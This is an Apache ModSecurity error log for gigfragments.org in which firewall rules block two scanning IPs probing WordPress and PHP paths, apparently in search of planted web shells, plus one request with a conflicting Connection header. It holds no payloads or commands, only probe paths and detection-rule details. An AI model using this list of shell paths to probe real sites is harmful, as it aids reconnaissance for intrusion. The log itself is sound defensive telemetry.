[Thu Feb 26 22:26:43.554485 2026] [:error] [pid 55122:tid 55138] [client 4.194.131.131:2195] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/class3.php"] [unique_id "aaBYI4LiR0OfjFxvcN82tQAAAM4"]
[Thu Feb 26 22:26:43.706927 2026] [:error] [pid 55122:tid 55137] [client 20.151.107.14:63601] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/includes/index.php"] [unique_id "aaBYI4LiR0OfjFxvcN82tgAAAM0"]
[Thu Feb 26 22:26:43.754330 2026] [:error] [pid 20419:tid 20422] [client 4.194.131.131:2888] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/class3.php"] [unique_id "aaBYI-3DVDvMfTYYUBVpTAAAAcA"]
[Thu Feb 26 22:26:43.941364 2026] [:error] [pid 44444:tid 44453] [client 4.194.131.131:2895] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/class3.php"] [unique_id "aaBYI22sMNmj-yekUk1P_wAAAgM"]
[Thu Feb 26 22:26:44.121808 2026] [:error] [pid 55051:tid 55054] [client 4.194.131.131:2228] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/blurbs18.php"] [unique_id "aaBYJAmK1w2kZvh5eLHRRQAAAIA"]
[Thu Feb 26 22:26:44.290474 2026] [:error] [pid 55618:tid 55643] [client 20.151.107.14:64175] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/includes/index.php"] [unique_id "aaBYJB61Vrh12f_8oWQVjAAAARY"]
[Thu Feb 26 22:26:44.318113 2026] [:error] [pid 20419:tid 20434] [client 4.194.131.131:2945] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/blurbs18.php"] [unique_id "aaBYJO3DVDvMfTYYUBVpTgAAAcw"]
[Thu Feb 26 22:26:44.503943 2026] [:error] [pid 54990:tid 54994] [client 4.194.131.131:2934] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/blurbs18.php"] [unique_id "aaBYJHtr2qmt_mBhH2wvwgAAAAE"]
[Thu Feb 26 22:26:44.761970 2026] [:error] [pid 54991:tid 55022] [client 4.194.131.131:2222] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/blurbs18.php"] [unique_id "aaBYJN4Zx-mJ8gbRB2j_xQAAAEI"]
[Thu Feb 26 22:26:44.858264 2026] [:error] [pid 44444:tid 44468] [client 20.151.107.14:64147] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/includes/index.php"] [unique_id "aaBYJG2sMNmj-yekUk1QAgAAAhI"]
[Thu Feb 26 22:26:44.948526 2026] [:error] [pid 55051:tid 55064] [client 4.194.131.131:2508] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/claa.php"] [unique_id "aaBYJAmK1w2kZvh5eLHRRwAAAIo"]
[Thu Feb 26 22:26:45.131245 2026] [:error] [pid 54990:tid 55006] [client 4.194.131.131:2440] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/claa.php"] [unique_id "aaBYJXtr2qmt_mBhH2wvwwAAAA0"]
[Thu Feb 26 22:26:45.324409 2026] [:error] [pid 54991:tid 55042] [client 4.194.131.131:2438] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/claa.php"] [unique_id "aaBYJd4Zx-mJ8gbRB2j_xwAAAFY"]
[Thu Feb 26 22:26:45.506505 2026] [:error] [pid 25311:tid 25338] [client 4.194.131.131:2905] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/claa.php"] [unique_id "aaBYJdfdM__yZAgJFSvsZgAAAZg"]
[Thu Feb 26 22:26:46.621049 2026] [:error] [pid 55051:tid 55072] [client 20.151.107.14:64224] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/includes/index.php"] [unique_id "aaBYJgmK1w2kZvh5eLHRTQAAAJI"]
[Thu Feb 26 22:26:47.776664 2026] [:error] [pid 55051:tid 55075] [client 20.151.107.14:62854] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/file.php"] [unique_id "aaBYJwmK1w2kZvh5eLHRWAAAAJU"]
[Thu Feb 26 22:26:48.997807 2026] [:error] [pid 55618:tid 55621] [client 20.151.107.14:64189] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/file.php"] [unique_id "aaBYKB61Vrh12f_8oWQVjgAAAQA"]
[Thu Feb 26 22:26:49.645112 2026] [:error] [pid 20419:tid 20433] [client 20.151.107.14:63512] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/file.php"] [unique_id "aaBYKe3DVDvMfTYYUBVpVAAAAcs"]
[Thu Feb 26 22:26:50.110665 2026] [:error] [pid 20419:tid 20441] [client 20.151.107.14:61326] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/file.php"] [unique_id "aaBYKu3DVDvMfTYYUBVpWAAAAdM"]
[Thu Feb 26 22:26:50.610014 2026] [:error] [pid 20419:tid 20432] [client 20.151.107.14:63572] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mar.php"] [unique_id "aaBYKu3DVDvMfTYYUBVpWQAAAco"]
[Thu Feb 26 22:26:51.264518 2026] [:error] [pid 20419:tid 20424] [client 20.151.107.14:61422] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mar.php"] [unique_id "aaBYK-3DVDvMfTYYUBVpXwAAAcI"]
[Thu Feb 26 22:26:51.725675 2026] [:error] [pid 20419:tid 20422] [client 20.151.107.14:64202] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mar.php"] [unique_id "aaBYK-3DVDvMfTYYUBVpYwAAAcA"]
[Thu Feb 26 22:26:52.312235 2026] [:error] [pid 55051:tid 55066] [client 20.151.107.14:64172] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mar.php"] [unique_id "aaBYLAmK1w2kZvh5eLHRXgAAAIw"]
[Thu Feb 26 22:26:52.812739 2026] [:error] [pid 44444:tid 44464] [client 20.151.107.14:61402] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-links.php"] [unique_id "aaBYLG2sMNmj-yekUk1QCwAAAg4"]
[Thu Feb 26 22:26:53.596876 2026] [:error] [pid 44444:tid 44460] [client 20.151.107.14:63611] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-links.php"] [unique_id "aaBYLW2sMNmj-yekUk1QEwAAAgo"]
[Thu Feb 26 22:26:55.571092 2026] [:error] [pid 44444:tid 44453] [client 20.151.107.14:64176] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-links.php"] [unique_id "aaBYL22sMNmj-yekUk1QIAAAAgM"]
[Thu Feb 26 22:27:02.180680 2026] [:error] [pid 44444:tid 44472] [client 20.151.107.14:63531] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-links.php"] [unique_id "aaBYNm2sMNmj-yekUk1QTAAAAhY"]
[Thu Feb 26 22:27:02.885453 2026] [:error] [pid 55122:tid 55128] [client 20.151.107.14:63506] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/ID3/"] [unique_id "aaBYNoLiR0OfjFxvcN82wwAAAMQ"]
[Thu Feb 26 22:27:05.188422 2026] [:error] [pid 44444:tid 44451] [client 20.151.107.14:61358] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/ID3/"] [unique_id "aaBYOW2sMNmj-yekUk1QVgAAAgE"]
[Thu Feb 26 22:27:05.937032 2026] [:error] [pid 20419:tid 20432] [client 20.151.107.14:61319] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/ID3/"] [unique_id "aaBYOe3DVDvMfTYYUBVpawAAAco"]
[Thu Feb 26 22:27:07.329199 2026] [:error] [pid 20419:tid 20423] [client 20.151.107.14:63552] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/ID3/"] [unique_id "aaBYO-3DVDvMfTYYUBVpbwAAAcE"]
[Thu Feb 26 22:27:07.892942 2026] [:error] [pid 25311:tid 25330] [client 20.151.107.14:62896] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/maint/admin.php"] [unique_id "aaBYO9fdM__yZAgJFSvshAAAAZA"]
[Thu Feb 26 22:27:08.473790 2026] [:error] [pid 55122:tid 55138] [client 20.151.107.14:64247] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/maint/admin.php"] [unique_id "aaBYPILiR0OfjFxvcN82yAAAAM4"]
[Thu Feb 26 22:27:08.944312 2026] [:error] [pid 25311:tid 25322] [client 20.151.107.14:63600] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/maint/admin.php"] [unique_id "aaBYPNfdM__yZAgJFSvshQAAAYg"]
[Thu Feb 26 22:27:09.433836 2026] [:error] [pid 54990:tid 54995] [client 20.151.107.14:63509] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/maint/admin.php"] [unique_id "aaBYPXtr2qmt_mBhH2wvzgAAAAI"]
[Thu Feb 26 22:27:09.880459 2026] [:error] [pid 55122:tid 55129] [client 20.151.107.14:63613] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/about.php"] [unique_id "aaBYPYLiR0OfjFxvcN82ywAAAMU"]
[Thu Feb 26 22:27:10.344319 2026] [:error] [pid 55051:tid 55073] [client 20.151.107.14:61430] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/about.php"] [unique_id "aaBYPgmK1w2kZvh5eLHRbwAAAJM"]
[Thu Feb 26 22:27:10.819684 2026] [:error] [pid 55122:tid 55148] [client 20.151.107.14:63582] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/about.php"] [unique_id "aaBYPoLiR0OfjFxvcN82zAAAANg"]
[Thu Feb 26 22:27:11.269591 2026] [:error] [pid 55122:tid 55124] [client 20.151.107.14:63590] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/about.php"] [unique_id "aaBYP4LiR0OfjFxvcN82zQAAAMA"]
[Thu Feb 26 22:27:11.735724 2026] [:error] [pid 44444:tid 44458] [client 20.151.107.14:61415] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/themes/"] [unique_id "aaBYP22sMNmj-yekUk1QagAAAgg"]
[Thu Feb 26 22:27:12.209488 2026] [:error] [pid 55051:tid 55068] [client 20.151.107.14:62848] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/themes/"] [unique_id "aaBYQAmK1w2kZvh5eLHReQAAAI4"]
[Thu Feb 26 22:27:12.775470 2026] [:error] [pid 54990:tid 55010] [client 20.151.107.14:63513] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/themes/"] [unique_id "aaBYQHtr2qmt_mBhH2wv0gAAABE"]
[Thu Feb 26 22:27:13.728464 2026] [:error] [pid 55051:tid 55065] [client 20.151.107.14:64160] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/themes/"] [unique_id "aaBYQQmK1w2kZvh5eLHRfwAAAIs"]
[Thu Feb 26 22:27:14.523045 2026] [:error] [pid 55618:tid 55637] [client 20.151.107.14:61395] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/wpsearch/login.php"] [unique_id "aaBYQh61Vrh12f_8oWQVogAAARA"]
[Thu Feb 26 22:27:14.980541 2026] [:error] [pid 55618:tid 55629] [client 20.151.107.14:64240] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/wpsearch/login.php"] [unique_id "aaBYQh61Vrh12f_8oWQVowAAAQg"]
[Thu Feb 26 22:27:15.644754 2026] [:error] [pid 55051:tid 55060] [client 20.151.107.14:64155] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/wpsearch/login.php"] [unique_id "aaBYQwmK1w2kZvh5eLHRhAAAAIY"]
[Thu Feb 26 22:27:16.260346 2026] [:error] [pid 55051:tid 55078] [client 20.151.107.14:63564] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/wpsearch/login.php"] [unique_id "aaBYRAmK1w2kZvh5eLHRigAAAJg"]
[Thu Feb 26 22:27:17.022464 2026] [:error] [pid 55051:tid 55066] [client 20.151.107.14:64209] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/theme.php"] [unique_id "aaBYRQmK1w2kZvh5eLHRjwAAAIw"]
[Thu Feb 26 22:27:18.049307 2026] [:error] [pid 55051:tid 55071] [client 20.151.107.14:63490] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/theme.php"] [unique_id "aaBYRgmK1w2kZvh5eLHRkwAAAJE"]
[Thu Feb 26 22:27:19.183616 2026] [:error] [pid 55122:tid 55142] [client 20.151.107.14:64222] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/theme.php"] [unique_id "aaBYR4LiR0OfjFxvcN820wAAANI"]
[Thu Feb 26 22:27:19.808475 2026] [:error] [pid 44444:tid 44454] [client 20.151.107.14:64234] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/theme.php"] [unique_id "aaBYR22sMNmj-yekUk1QbAAAAgQ"]
[Thu Feb 26 22:27:20.691356 2026] [:error] [pid 54991:tid 55027] [client 20.151.107.14:64225] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sim.php"] [unique_id "aaBYSN4Zx-mJ8gbRB2j_3wAAAEc"]
[Thu Feb 26 22:27:21.414629 2026] [:error] [pid 54991:tid 55037] [client 20.151.107.14:62867] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sim.php"] [unique_id "aaBYSd4Zx-mJ8gbRB2j_4gAAAFE"]
[Thu Feb 26 22:27:22.396585 2026] [:error] [pid 20419:tid 20446] [client 20.151.107.14:62900] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sim.php"] [unique_id "aaBYSu3DVDvMfTYYUBVpggAAAdg"]
[Thu Feb 26 22:29:17.148484 2026] [:error] [pid 54991:tid 55029] [client 182.42.104.32:60977] [client 182.42.104.32] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aaBYvd4Zx-mJ8gbRB2gAewAAAEk"]
